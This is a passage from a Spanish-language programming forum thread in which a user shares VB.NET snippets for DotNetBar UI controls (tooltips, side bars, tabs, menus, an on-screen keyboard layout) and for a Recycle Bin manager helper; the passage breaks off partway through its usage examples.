  5.    ' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
  6.    ' 2. Add a 'SuperToolTip' control in the Designer.
  7.    '
  8.    ' Usage Examples:
  9.    ' ShowSuperTooltipInfo(SuperTooltip1,
  10.    '                      "I'm the Header", "I'm the Body", , "I'm the Footer", ,
  11.    '                      eTooltipColor.Blue, MousePosition, 2, False)
  12.    '
  13.    ''' <summary>
  14.    ''' Shows a SuperTooltipInfo on the specified location.
  15.    ''' </summary>
  16.    ''' <param name="SuperToolTip">Indicates the SuperTooltip control.</param>
  17.    ''' <param name="HeaderText">Indicates the header text.</param>
  18.    ''' <param name="BodyText">Indicates the body text.</param>
  19.    ''' <param name="BodyImage">Indicates the body image.</param>
  20.    ''' <param name="FooterText">Indicates the footer text.</param>
  21.    ''' <param name="FooterImage">Indicates the footer image.</param>
  22.    ''' <param name="BackColor">Indicates the Tooltip background color.</param>
  23.    ''' <param name="Location">Indicates the location where to show the Tooltip.</param>
  24.    ''' <param name="Duration">Indicates the Tooltip duration.</param>
  25.    ''' <param name="PositionBelowControl">If set to <c>true</c> the tooltip is shown below the control.</param>
  26.    Private Sub ShowSuperTooltip(ByVal SuperToolTip As SuperTooltip,
  27.                                 Optional ByVal HeaderText As String = "",
  28.                                 Optional ByVal BodyText As String = "",
  29.                                 Optional ByVal BodyImage As Image = Nothing,
  30.                                 Optional ByVal FooterText As String = "",
  31.                                 Optional ByVal FooterImage As Image = Nothing,
  32.                                 Optional ByVal BackColor As eTooltipColor = eTooltipColor.System,
  33.                                 Optional ByVal Location As Point = Nothing,
  34.                                 Optional ByVal Duration As Integer = 2,
  35.                                 Optional ByVal PositionBelowControl As Boolean = False)
  36.  
  37.        ' Save the current SuperToolTip contorl properties to restore them at end.
  38.        Dim CurrentProp_IgnoreFormActiveState As Boolean = SuperToolTip.IgnoreFormActiveState
  39.        Dim CurrentProp_PositionBelowControl As Boolean = SuperToolTip.PositionBelowControl
  40.  
  41.        ' Create an invisible Form.
  42.        Dim TooltipForm As New Form
  43.        With TooltipForm
  44.            .Size = New Size(0, 0)
  45.            .Opacity = 0
  46.            .Location = Location ' Move the Form to the specified location.
  47.        End With
  48.  
  49.        ' Create a SuperTooltipInfo.
  50.        Dim MySuperTooltip As New SuperTooltipInfo()
  51.        With MySuperTooltip
  52.            .HeaderText = HeaderText
  53.            .BodyText = BodyText
  54.            .BodyImage = BodyImage
  55.            .FooterText = FooterText
  56.            .FooterImage = FooterImage
  57.            .Color = BackColor
  58.        End With
  59.  
  60.        ' Set the Supertooltip properties.
  61.        With SuperToolTip
  62.            .IgnoreFormActiveState = True ' Ignore the form state to display the tooltip.
  63.            .PositionBelowControl = PositionBelowControl
  64.            .TooltipDuration = Duration
  65.            .SetSuperTooltip(TooltipForm, MySuperTooltip) ' Assign the SuperTooltip to the invisible form.
  66.            .ShowTooltip(TooltipForm) ' Show the SuperTooltipInfo on the form.
  67.        End With
  68.  
  69.        ' Restore the SuperTooltip properties.
  70.        With SuperToolTip
  71.            .IgnoreFormActiveState = CurrentProp_IgnoreFormActiveState
  72.            .PositionBelowControl = CurrentProp_PositionBelowControl
  73.        End With
  74.  
  75.        ' Dispose the invisible Form.
  76.        TooltipForm.Dispose()
  77.  
  78.    End Sub



 Ejemplo de como añadir soporte para mover un SideBar usando la rueda del ratón.

Código
  1.    ' DotNetBar [SideBar] Scroll SideBar using MouseWheel.
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Reference 'DevComponents.DotNetBar.dll'.
  6.    ' 2. Add a 'SideBar' control (with panel and buttons inside).
  7.  
  8.    ''' <summary>
  9.    ''' Handles the MouseMove event of the SideBar1 control.
  10.    ''' </summary>
  11.    ''' <param name="sender">The source of the event.</param>
  12.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  13.    Private Sub SideBar1_MouseMove(sender As Object, e As MouseEventArgs) _
  14.    Handles SideBar1.MouseMove
  15.  
  16.        SideBar1.Focus()
  17.  
  18.    End Sub
  19.  
  20.    ''' <summary>
  21.    ''' Handles the MouseWheel event of the SideBar control.
  22.    ''' </summary>
  23.    ''' <param name="sender">The source of the event.</param>
  24.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  25.    Private Sub SideBar1_MouseWheel(sender As Object, e As MouseEventArgs) _
  26.    Handles SideBar1.MouseWheel
  27.  
  28.        Dim TopItemIndex As Integer = sender.ExpandedPanel.TopItemIndex
  29.        Dim ItemCount As Integer = sender.ExpandedPanel.SubItems.Count
  30.  
  31.        Select Case e.Delta
  32.  
  33.            Case Is < 0
  34.                If TopItemIndex < ItemCount - 1 Then
  35.                    TopItemIndex += 1
  36.                End If
  37.  
  38.            Case Else
  39.                If TopItemIndex > 0 Then
  40.                    TopItemIndex -= 1
  41.                End If
  42.  
  43.        End Select
  44.  
  45.    End Sub



Ejemplo de como crear y o eliminar tabs de un SuperTabControl en tiempo de ejecución.

Código
  1.    ' DotNetBar [Ballon] Example to create a new Ballon.
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
  6.    ' 2. Add a 'SuperTabControl' control.
  7.  
  8.    Private Sub Test(sender As Object, e As EventArgs) Handles MyBase.Shown
  9.  
  10.        ' Create a new Tab.
  11.        Dim tab As SuperTabItem = SuperTabControl1.CreateTab("New Tab")
  12.  
  13.        ' Create a new Tab-Panel.
  14.        Dim tabpanel As SuperTabControlPanel = DirectCast(tab.AttachedControl, SuperTabControlPanel)
  15.  
  16.        ' Create a random control.
  17.        Dim wbr As New WebBrowser() With {.Dock = DockStyle.Fill}
  18.        wbr.Navigate("google.com")
  19.  
  20.        'Add the control to the Tab-Panel.
  21.        tabpanel.Controls.Add(wbr)
  22.  
  23.        ' Remove the Tab.
  24.        ' SuperTabControl1.Tabs.Remove(tab)
  25.  
  26.        ' And remember to dispose the Tab-Panel and the added Controls.
  27.        ' tabpanel.Dispose()
  28.        ' wbr.Dispose()
  29.  
  30.    End Sub



Ejemplo de como crear una Bar en tiempo de ejecución.

Código
  1.    ' DotNetBar [DotNetBarManager] Example to create a new Bar at execution-time.
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
  6.    ' 2. Add a 'DotNetBarManager' control.
  7.  
  8.    Private Sub Test(sender As Object, e As EventArgs) Handles MyBase.Shown
  9.  
  10.        Dim bar As Bar
  11.        Dim menu As ButtonItem
  12.        Dim submenu As ButtonItem
  13.  
  14.        bar = New Bar("My Menu Bar")
  15.  
  16.        bar.ColorScheme.DockSiteBackColor = Color.YellowGreen
  17.        bar.ColorScheme.DockSiteBackColor2 = Color.YellowGreen
  18.  
  19.        bar.ColorScheme.MenuBarBackground = Color.FromArgb(80, 80, 80)
  20.        bar.ColorScheme.MenuBarBackground2 = Color.FromArgb(40, 40, 40)
  21.  
  22.        bar.ColorScheme.MenuSide = Color.Silver
  23.        bar.ColorScheme.MenuSide2 = Color.FromArgb(80, 80, 80)
  24.  
  25.        bar.ColorScheme.ItemText = Color.Black
  26.        bar.ColorScheme.ItemBackground = Color.Silver
  27.        bar.ColorScheme.ItemBackground2 = Color.Silver
  28.  
  29.        bar.ColorScheme.ItemHotText = Color.Black
  30.        bar.ColorScheme.ItemHotBackground = Color.YellowGreen
  31.        bar.ColorScheme.ItemHotBackground2 = Color.YellowGreen
  32.  
  33.        bar.MenuBar = True
  34.        bar.Stretch = True
  35.  
  36.        DotNetBarManager1.UseGlobalColorScheme = False
  37.        DotNetBarManager1.Bars.Add(bar)
  38.        bar.DockSide = eDockSide.Top
  39.  
  40.        menu = New ButtonItem("bFile", "&File")
  41.        bar.Items.Add(menu)
  42.  
  43.        submenu = New ButtonItem("bOpen", "&Open")
  44.        menu.SubItems.Add(submenu)
  45.  
  46.        submenu = New ButtonItem("bClose", "&Close")
  47.        menu.SubItems.Add(submenu)
  48.  
  49.        submenu = New ButtonItem("bExit", "&Exit")
  50.  
  51.        submenu.BeginGroup = True
  52.        menu.SubItems.Add(submenu)
  53.  
  54.        menu = New ButtonItem("bEdit", "&Edit")
  55.        bar.Items.Add(menu)
  56.  
  57.        submenu = New ButtonItem("bCut", "&Cut")
  58.        menu.SubItems.Add(submenu)
  59.  
  60.        submenu = New ButtonItem("bCopy", "&Copy")
  61.        menu.SubItems.Add(submenu)
  62.  
  63.        submenu = New ButtonItem("bPaste", "&Paste")
  64.        menu.SubItems.Add(submenu)
  65.  
  66.        submenu = New ButtonItem("bClear", "&Clear")
  67.  
  68.        submenu.BeginGroup = True
  69.        menu.SubItems.Add(submenu)
  70.  
  71.        bar.RecalcLayout()
  72.  
  73.    End Sub




Ejemplo de como crear y asignar un SuperTooltipInfo

Código
  1.        ' DotNetBar [SuperTooltipInfo] Example to create a new SuperTooltipInfo.
  2.        ' ( By Elektro )
  3.        '
  4.        ' Instructions:
  5.        ' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
  6.        ' 2. Add a 'SuperToolTip' control in the Designer.
  7.  
  8.        ' SuperTooltipInfo type describes Super-Tooltip
  9.        Dim superTooltip As New SuperTooltipInfo()
  10.  
  11.        With superTooltip
  12.  
  13.            .HeaderText = "Header text"
  14.            .BodyText = "Body text with <strong>text-markup</strong> support. Header and footer support text-markup too."
  15.            .FooterText = "My footer text"
  16.  
  17.        End With
  18.  
  19.        ' Assign tooltip to a control or DotNetBar component
  20.        SuperTooltip1.SetSuperTooltip(TextBox1, superTooltip)
  21.  
  22.        ' To remove tooltip from a control or component use
  23.        '  SuperTooltip1.SetSuperTooltip(TextBox1, Nothing)



Ejemplo de como crear y mostrar un ContextMenu.

Código
  1.    ' DotNetBar [ContextMenuBar] Create a new ContextMenu.
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
  6.  
  7.    Private Sub Test() Handles MyBase.Shown
  8.  
  9.        ' Create context menu item that is assigned to controls or items
  10.        Dim ContextMenu As New ButtonItem("myContextMenuItemName")
  11.  
  12.        ' Create a Context MenuItem
  13.        Dim MenuItem As New ButtonItem("MenuItemName1")
  14.        MenuItem.Text = "Context MenuItem 1"
  15.        AddHandler MenuItem.Click, AddressOf MenuItemClick
  16.  
  17.        ' Add item to Context Menu
  18.        ContextMenu.SubItems.Add(MenuItem)
  19.  
  20.        ' Create second Context MenuItem
  21.        MenuItem = New ButtonItem("MenuItemName2", "Context MenuItem 2")
  22.        AddHandler MenuItem.Click, AddressOf MenuItemClick
  23.  
  24.        ' Add item to Context Menu
  25.        ContextMenu.SubItems.Add(MenuItem)
  26.  
  27.        ' Add Context Menu to Context MenuBar
  28.        ContextMenuBar1.Items.Add(ContextMenu)
  29.  
  30.        ' Assign context menu to text-box
  31.        ContextMenuBar1.SetContextMenuEx(TextBox1, ContextMenu)
  32.  
  33.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Enero 2014, 02:02 am
Otro snippet para los controles de DotNetBar, para el 'KeyboardControl' en concreto.

Ejemplo de como crear una un Layout personalizado del teclado.

Código
  1.    ' DotNetBar [KeyboardControl] Example to create a Keyboard Layout at execution-time.
  2.    '
  3.    ' Instructions:
  4.    ' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
  5.    ' 2. Add a 'KeyboardControl' control.
  6.  
  7.    Private Sub Test(sender As Object, e As EventArgs) Handles MyBase.Shown
  8.  
  9.        ' Set the new Keyboard Layout
  10.        KeyboardControl1.Keyboard = CreateDefaultKeyboard()
  11.  
  12.    End Sub
  13.  
  14.    ''' <summary>
  15.    ''' Creates the default keyboard.
  16.    ''' </summary>
  17.    ''' <returns>Keyboard.</returns>
  18.    Public Shared Function CreateDefaultKeyboard() As Keyboard
  19.        Dim keyboard As New Keyboard
  20.  
  21.        ' Actually there are 4 layout objects,
  22.        ' but for code simplicity this variable is reused for creating each of them.
  23.        Dim kc As LinearKeyboardLayout
  24.  
  25.        '#Region "Normal style configuration (no modifier keys pressed)"
  26.  
  27.        kc = New LinearKeyboardLayout()
  28.        keyboard.Layouts.Add(kc)
  29.  
  30.        kc.AddKey("q")
  31.        kc.AddKey("w")
  32.        kc.AddKey("e")
  33.        kc.AddKey("r")
  34.        kc.AddKey("t")
  35.        kc.AddKey("y")
  36.        kc.AddKey("u")
  37.        kc.AddKey("i")
  38.        kc.AddKey("o")
  39.        kc.AddKey("p")
  40.        kc.AddKey("Backspace", info:="{BACKSPACE}", width:=21)
  41.  
  42.        kc.AddLine()
  43.        kc.AddSpace(4)
  44.  
  45.        kc.AddKey("a")
  46.        kc.AddKey("s")
  47.        kc.AddKey("d")
  48.        kc.AddKey("f")
  49.        kc.AddKey("g")
  50.        kc.AddKey("h")
  51.        kc.AddKey("j")
  52.        kc.AddKey("k")
  53.        kc.AddKey("l")
  54.        kc.AddKey("'")
  55.        kc.AddKey("Enter", info:="{ENTER}", width:=17)
  56.  
  57.        kc.AddLine()
  58.  
  59.        kc.AddKey("Shift", info:="", style:=KeyStyle.Dark, layout:=1)
  60.        kc.AddKey("z")
  61.        kc.AddKey("x")
  62.        kc.AddKey("c")
  63.        kc.AddKey("v")
  64.        kc.AddKey("b")
  65.        kc.AddKey("n")
  66.        kc.AddKey("m")
  67.        kc.AddKey(",")
  68.        kc.AddKey(".")
  69.        kc.AddKey("?")
  70.        kc.AddKey("Shift", info:="", style:=KeyStyle.Dark, layout:=1)
  71.  
  72.        kc.AddLine()
  73.  
  74.        kc.AddKey("Ctrl", info:="", style:=KeyStyle.Dark, layout:=2)
  75.        kc.AddKey("&123", info:="", style:=KeyStyle.Dark, layout:=3)
  76.        kc.AddKey(":-)", info:=":-{)}", style:=KeyStyle.Dark)
  77.        'kc.AddKey("Alt", info: "%", style: KeyStyle.Dark);
  78.        kc.AddKey(" ", width:=76)
  79.        kc.AddKey("<", info:="{LEFT}", style:=KeyStyle.Dark)
  80.        kc.AddKey(">", info:="{RIGHT}", style:=KeyStyle.Dark)
  81.  
  82.        '#End Region
  83.  
  84.        '#Region "Shift modifier pressed"
  85.  
  86.        kc = New LinearKeyboardLayout()
  87.        keyboard.Layouts.Add(kc)
  88.  
  89.        kc.AddKey("Q", layout:=KeyboardLayout.PreviousLayout)
  90.        kc.AddKey("W", layout:=KeyboardLayout.PreviousLayout)
  91.        kc.AddKey("E", layout:=KeyboardLayout.PreviousLayout)
  92.        kc.AddKey("R", layout:=KeyboardLayout.PreviousLayout)
  93.        kc.AddKey("T", layout:=KeyboardLayout.PreviousLayout)
  94.        kc.AddKey("Y", layout:=KeyboardLayout.PreviousLayout)
  95.        kc.AddKey("U", layout:=KeyboardLayout.PreviousLayout)
  96.        kc.AddKey("I", layout:=KeyboardLayout.PreviousLayout)
  97.        kc.AddKey("O", layout:=KeyboardLayout.PreviousLayout)
  98.        kc.AddKey("P", layout:=KeyboardLayout.PreviousLayout)
  99.        kc.AddKey("Backspace", info:="{BACKSPACE}", width:=21)
  100.  
  101.        kc.AddLine()
  102.        kc.AddSpace(4)
  103.  
  104.        kc.AddKey("A", layout:=KeyboardLayout.PreviousLayout)
  105.        kc.AddKey("S", layout:=KeyboardLayout.PreviousLayout)
  106.        kc.AddKey("D", layout:=KeyboardLayout.PreviousLayout)
  107.        kc.AddKey("F", layout:=KeyboardLayout.PreviousLayout)
  108.        kc.AddKey("G", layout:=KeyboardLayout.PreviousLayout)
  109.        kc.AddKey("H", layout:=KeyboardLayout.PreviousLayout)
  110.        kc.AddKey("J", layout:=KeyboardLayout.PreviousLayout)
  111.        kc.AddKey("K", layout:=KeyboardLayout.PreviousLayout)
  112.        kc.AddKey("L", layout:=KeyboardLayout.PreviousLayout)
  113.        kc.AddKey("""", layout:=KeyboardLayout.PreviousLayout)
  114.        kc.AddKey("Enter", info:="{ENTER}", width:=17)
  115.  
  116.        kc.AddLine()
  117.  
  118.        kc.AddKey("Shift", info:="", style:=KeyStyle.Pressed, layout:=0, layoutEx:=4)
  119.        kc.AddKey("Z", layout:=KeyboardLayout.PreviousLayout)
  120.        kc.AddKey("X", layout:=KeyboardLayout.PreviousLayout)
  121.        kc.AddKey("C", layout:=KeyboardLayout.PreviousLayout)
  122.        kc.AddKey("V", layout:=KeyboardLayout.PreviousLayout)
  123.        kc.AddKey("B", layout:=KeyboardLayout.PreviousLayout)
  124.        kc.AddKey("N", layout:=KeyboardLayout.PreviousLayout)
  125.        kc.AddKey("M", layout:=KeyboardLayout.PreviousLayout)
  126.        kc.AddKey(";", layout:=KeyboardLayout.PreviousLayout)
  127.        kc.AddKey(":", layout:=KeyboardLayout.PreviousLayout)
  128.        kc.AddKey("!", layout:=KeyboardLayout.PreviousLayout)
  129.        kc.AddKey("Shift", info:="", style:=KeyStyle.Pressed, layout:=0, layoutEx:=4)
  130.  
  131.        kc.AddLine()
  132.  
  133.        kc.AddKey("Ctrl", info:="", style:=KeyStyle.Dark, layout:=2)
  134.        kc.AddKey("&123", info:="", style:=KeyStyle.Dark, layout:=3)
  135.        kc.AddKey(":-)", info:=":-{)}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
  136.        kc.AddKey(" ", width:=76, layout:=KeyboardLayout.PreviousLayout)
  137.        kc.AddKey("<", info:="+{LEFT}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
  138.        kc.AddKey(">", info:="+{RIGHT}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
  139.  
  140.        '#End Region
  141.  
  142.        '#Region "Ctrl modifier pressed"
  143.  
  144.        kc = New LinearKeyboardLayout()
  145.        keyboard.Layouts.Add(kc)
  146.  
  147.        kc.AddKey("q", info:="^q", layout:=KeyboardLayout.PreviousLayout)
  148.        kc.AddKey("w", info:="^w", layout:=KeyboardLayout.PreviousLayout)
  149.        kc.AddKey("e", info:="^e", layout:=KeyboardLayout.PreviousLayout)
  150.        kc.AddKey("r", info:="^r", layout:=KeyboardLayout.PreviousLayout)
  151.        kc.AddKey("t", info:="^t", layout:=KeyboardLayout.PreviousLayout)
  152.        kc.AddKey("y", info:="^y", layout:=KeyboardLayout.PreviousLayout)
  153.        kc.AddKey("u", info:="^u", hint:="Underline", layout:=KeyboardLayout.PreviousLayout)
  154.        kc.AddKey("i", info:="^i", hint:="Italic", layout:=KeyboardLayout.PreviousLayout)
  155.        kc.AddKey("o", info:="^o", layout:=KeyboardLayout.PreviousLayout)
  156.        kc.AddKey("p", info:="^p", layout:=KeyboardLayout.PreviousLayout)
  157.        kc.AddKey("Backspace", info:="^{BACKSPACE}", width:=21, layout:=KeyboardLayout.PreviousLayout)
  158.  
  159.        kc.AddLine()
  160.        kc.AddSpace(4)
  161.  
  162.        kc.AddKey("a", info:="^a", hint:="Select all", layout:=KeyboardLayout.PreviousLayout)
  163.        kc.AddKey("s", info:="^s", layout:=KeyboardLayout.PreviousLayout)
  164.        kc.AddKey("d", info:="^d", layout:=KeyboardLayout.PreviousLayout)
  165.        kc.AddKey("f", info:="^f", layout:=KeyboardLayout.PreviousLayout)
  166.        kc.AddKey("g", info:="^g", layout:=KeyboardLayout.PreviousLayout)
  167.        kc.AddKey("h", info:="^h", layout:=KeyboardLayout.PreviousLayout)
  168.        kc.AddKey("j", info:="^j", layout:=KeyboardLayout.PreviousLayout)
  169.        kc.AddKey("k", info:="^k", layout:=KeyboardLayout.PreviousLayout)
  170.        kc.AddKey("l", info:="^l", layout:=KeyboardLayout.PreviousLayout)
  171.        kc.AddKey("'", info:="^'", layout:=KeyboardLayout.PreviousLayout)
  172.        kc.AddKey("Enter", info:="^{ENTER}", width:=17, layout:=KeyboardLayout.PreviousLayout)
  173.  
  174.        kc.AddLine()
  175.  
  176.        kc.AddKey("Shift", info:="", layout:=1)
  177.        kc.AddKey("z", info:="^z", hint:="Undo", layout:=KeyboardLayout.PreviousLayout)
  178.        kc.AddKey("x", info:="^x", hint:="Cut", layout:=KeyboardLayout.PreviousLayout)
  179.        kc.AddKey("c", info:="^c", hint:="Copy", layout:=KeyboardLayout.PreviousLayout)
  180.        kc.AddKey("v", info:="^v", hint:="Paste", layout:=KeyboardLayout.PreviousLayout)
  181.        kc.AddKey("b", info:="^b", hint:="Bold", layout:=KeyboardLayout.PreviousLayout)
  182.        kc.AddKey("n", info:="^n", layout:=KeyboardLayout.PreviousLayout)
  183.        kc.AddKey("m", info:="^m", layout:=KeyboardLayout.PreviousLayout)
  184.        kc.AddKey(",", info:="^,", layout:=KeyboardLayout.PreviousLayout)
  185.        kc.AddKey(".", info:="^.", layout:=KeyboardLayout.PreviousLayout)
  186.        kc.AddKey("?", info:="^?", layout:=KeyboardLayout.PreviousLayout)
  187.        kc.AddKey("Shift", info:="", layout:=1)
  188.  
  189.        kc.AddLine()
  190.  
  191.        kc.AddKey("Ctrl", info:="", style:=KeyStyle.Pressed, layout:=KeyboardLayout.PreviousLayout)
  192.        kc.AddKey("&123", info:="", style:=KeyStyle.Dark, layout:=3)
  193.        kc.AddKey(":-)", info:="^:-{)}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
  194.        kc.AddKey(" ", info:="^ ", width:=76, layout:=KeyboardLayout.PreviousLayout)
  195.        kc.AddKey("<", info:="^{LEFT}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
  196.        kc.AddKey(">", info:="^{RIGHT}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
  197.  
  198.        '#End Region
  199.  
  200.        '#Region "Symbols and numbers (&123) modifier pressed"
  201.  
  202.        kc = New LinearKeyboardLayout()
  203.        keyboard.Layouts.Add(kc)
  204.  
  205.        kc.AddKey("!")
  206.        kc.AddKey("@")
  207.        kc.AddKey("#")
  208.        kc.AddKey("$")
  209.        kc.AddKey("½")
  210.        kc.AddKey("-")
  211.        kc.AddKey("+", info:="{+}")
  212.  
  213.        kc.AddSpace(5)
  214.  
  215.        kc.AddKey("1", style:=KeyStyle.Light)
  216.        kc.AddKey("2", style:=KeyStyle.Light)
  217.        kc.AddKey("3", style:=KeyStyle.Light)
  218.  
  219.        kc.AddSpace(5)
  220.  
  221.        kc.AddKey("Bcks", info:="{BACKSPACE}", style:=KeyStyle.Dark)
  222.  
  223.        kc.AddLine()
  224.  
  225.        ' second line
  226.        kc.AddKey(";")
  227.        kc.AddKey(":")
  228.        kc.AddKey("""")
  229.        kc.AddKey("%", info:="{%}")
  230.        kc.AddKey("&")
  231.        kc.AddKey("/")
  232.        kc.AddKey("*")
  233.  
  234.        kc.AddSpace(5)
  235.  
  236.        kc.AddKey("4", style:=KeyStyle.Light)
  237.        kc.AddKey("5", style:=KeyStyle.Light)
  238.        kc.AddKey("6", style:=KeyStyle.Light)
  239.  
  240.        kc.AddSpace(5)
  241.  
  242.        kc.AddKey("Enter", info:="{ENTER}", style:=KeyStyle.Dark)
  243.  
  244.        kc.AddLine()
  245.  
  246.        ' third line
  247.        kc.AddKey("(", info:="{(}")
  248.        kc.AddKey(")", info:="{)}")
  249.        kc.AddKey("[", info:="{[}")
  250.        kc.AddKey("]", info:="{]}")
  251.        kc.AddKey("_")
  252.        kc.AddKey("\")
  253.        kc.AddKey("=")
  254.  
  255.        kc.AddSpace(5)
  256.  
  257.        kc.AddKey("7", style:=KeyStyle.Light)
  258.        kc.AddKey("8", style:=KeyStyle.Light)
  259.        kc.AddKey("9", style:=KeyStyle.Light)
  260.  
  261.        kc.AddSpace(5)
  262.  
  263.        kc.AddKey("Tab", info:="{TAB}", style:=KeyStyle.Dark)
  264.  
  265.        kc.AddLine()
  266.  
  267.        ' forth line
  268.        kc.AddKey("...", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
  269.        kc.AddKey("&123", info:="", style:=KeyStyle.Pressed, layout:=KeyboardLayout.PreviousLayout)
  270.        kc.AddKey(":-)", info:=":-{)}", style:=KeyStyle.Dark)
  271.        kc.AddKey("<", info:="{LEFT}", style:=KeyStyle.Dark)
  272.        kc.AddKey(">", info:="{RIGHT}", style:=KeyStyle.Dark)
  273.        kc.AddKey("Space", info:="^ ", width:=21)
  274.  
  275.        kc.AddSpace(5)
  276.  
  277.        kc.AddKey("0", style:=KeyStyle.Light, width:=21)
  278.        kc.AddKey(System.Globalization.CultureInfo.CurrentCulture.NumberFormat.NumberDecimalSeparator, style:=KeyStyle.Dark)
  279.  
  280.        kc.AddSpace(5)
  281.  
  282.        kc.AddLine()
  283.  
  284.        '#End Region
  285.  
  286.        '#Region "Shift modifier toggled"
  287.  
  288.        kc = New LinearKeyboardLayout()
  289.        keyboard.Layouts.Add(kc)
  290.  
  291.        kc.AddKey("Q")
  292.        kc.AddKey("W")
  293.        kc.AddKey("E")
  294.        kc.AddKey("R")
  295.        kc.AddKey("T")
  296.        kc.AddKey("Y")
  297.        kc.AddKey("U")
  298.        kc.AddKey("I")
  299.        kc.AddKey("O")
  300.        kc.AddKey("P")
  301.        kc.AddKey("Backspace", info:="{BACKSPACE}", width:=21)
  302.  
  303.        kc.AddLine()
  304.        kc.AddSpace(4)
  305.  
  306.        kc.AddKey("A")
  307.        kc.AddKey("S")
  308.        kc.AddKey("D")
  309.        kc.AddKey("F")
  310.        kc.AddKey("G")
  311.        kc.AddKey("H")
  312.        kc.AddKey("J")
  313.        kc.AddKey("K")
  314.        kc.AddKey("L")
  315.        kc.AddKey("'")
  316.        kc.AddKey("Enter", info:="{ENTER}", width:=17)
  317.  
  318.        kc.AddLine()
  319.  
  320.        kc.AddKey("Shift", info:="", style:=KeyStyle.Toggled, layout:=0)
  321.        kc.AddKey("Z")
  322.        kc.AddKey("X")
  323.        kc.AddKey("C")
  324.        kc.AddKey("V")
  325.        kc.AddKey("B")
  326.        kc.AddKey("N")
  327.        kc.AddKey("M")
  328.        kc.AddKey(",")
  329.        kc.AddKey(".")
  330.        kc.AddKey("?")
  331.        kc.AddKey("Shift", info:="", style:=KeyStyle.Toggled, layout:=0)
  332.  
  333.        kc.AddLine()
  334.  
  335.        kc.AddKey("Ctrl", info:="", style:=KeyStyle.Dark, layout:=2)
  336.        kc.AddKey("&123", info:="", style:=KeyStyle.Dark, layout:=3)
  337.        kc.AddKey(":-)", info:=":-{)}", style:=KeyStyle.Dark)
  338.        kc.AddKey(" ", width:=76)
  339.        kc.AddKey("<", info:="+{LEFT}", style:=KeyStyle.Dark)
  340.        kc.AddKey(">", info:="+{RIGHT}", style:=KeyStyle.Dark)
  341.  
  342.        '#End Region
  343.  
  344.        Return keyboard
  345.  
  346.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Enero 2014, 06:18 am
RecycleBin Manager (Versión mejorada ...y acabada)

Un ayudante para obtener información sobre la papelera de reciclaje principal o el resto de papeleras así como de los elementos eliminados,
además de realizar otras operaciones como eliminar permanentemente o deshacer la eliminación (invocando verbos).

Aquí pueden ver el código ~> http://pastebin.com/eRync5pA


Índice de miembros públicos:
Código
  1. ' ----------
  2. ' Properties
  3. ' ----------
  4. '
  5. ' MainBin.Files
  6. ' MainBin.Folders
  7. ' MainBin.Items
  8. ' MainBin.ItemsCount
  9. ' MainBin.LastDeletedFile
  10. ' MainBin.LastDeletedFolder
  11. ' MainBin.LastDeletedItem
  12. ' MainBin.Size
  13.  
  14. ' -------
  15. ' Methods
  16. ' -------
  17. '
  18. ' MainBin.Empty()
  19. ' MainBin.RefreshIcon()
  20. '
  21. ' Tools.Empty()
  22. ' Tools.GetSize()
  23. ' Tools.GetDeletedFiles()
  24. ' Tools.GetDeletedFolders()
  25. ' Tools.GetDeletedItems()
  26. ' Tools.GetItemsCount()
  27. ' Tools.GetLastDeletedFile()
  28. ' Tools.GetLastDeletedFolder()
  29. ' Tools.GetLastDeletedItem()
  30. ' Tools.DeleteItem
  31. ' Tools.UndeleteItem
  32. ' Tools.InvokeItemVerb


Ejemplos de uso:

1.
Código
  1.    ' Empties all the Recycle Bins.
  2.    RecycleBinManager.MainBin.Empty()
  3.  
  4.    ' Empties the Recycle Bin of the "E" drive.
  5.    RecycleBinManager.Tools.Empty("E", RecycleBinManager.Tools.RecycleBinFlags.DontShowConfirmation)
  6.  
  7.    ' Updates the Main Recycle Bin icon.
  8.    RecycleBinManager.MainBin.RefreshIcon()
  9.  
  10.  
  11.    ' Gets the accumulated size (in bytes) of the Main Recycle Bin.
  12.    Dim RecycledSize As Long = RecycleBinManager.MainBin.Size
  13.  
  14.    ' Gets the accumulated size (in bytes) of the Recycle Bin on "E" drive.
  15.    Dim RecycledSizeE As Long = RecycleBinManager.Tools.GetSize("E")
  16.  
  17.  
  18.    ' Gets the total deleted items count of the Main recycle bin.
  19.    Dim RecycledItemsCount As Long = RecycleBinManager.MainBin.ItemsCount
  20.  
  21.    ' Gets the total deleted items count of the Recycle Bin on "E" drive.
  22.    Dim RecycledItemsCountE As Long = RecycleBinManager.Tools.GetDeletedItems("E").Count
  23.  
  24.  
  25.    ' Get all the deleted items inside the Main Recycle Bin.
  26.    Dim RecycledItems As ShellObject() = RecycleBinManager.MainBin.Items
  27.  
  28.    ' Get all the deleted files inside the Main Recycle Bin.
  29.    Dim RecycledFiles As ShellFile() = RecycleBinManager.MainBin.Files
  30.  
  31.    ' Get all the deleted folders inside the Main Recycle Bin.
  32.    Dim RecycledFolders As ShellFolder() = RecycleBinManager.MainBin.Folders
  33.  
  34.  
  35.    ' Get all the deleted items inside the Recycle Bin on "E" drive.
  36.    Dim RecycledItemsE As ShellObject() = RecycleBinManager.Tools.GetDeletedItems("E")
  37.  
  38.    ' Get all the deleted files inside the Recycle Bin on "E" drive.
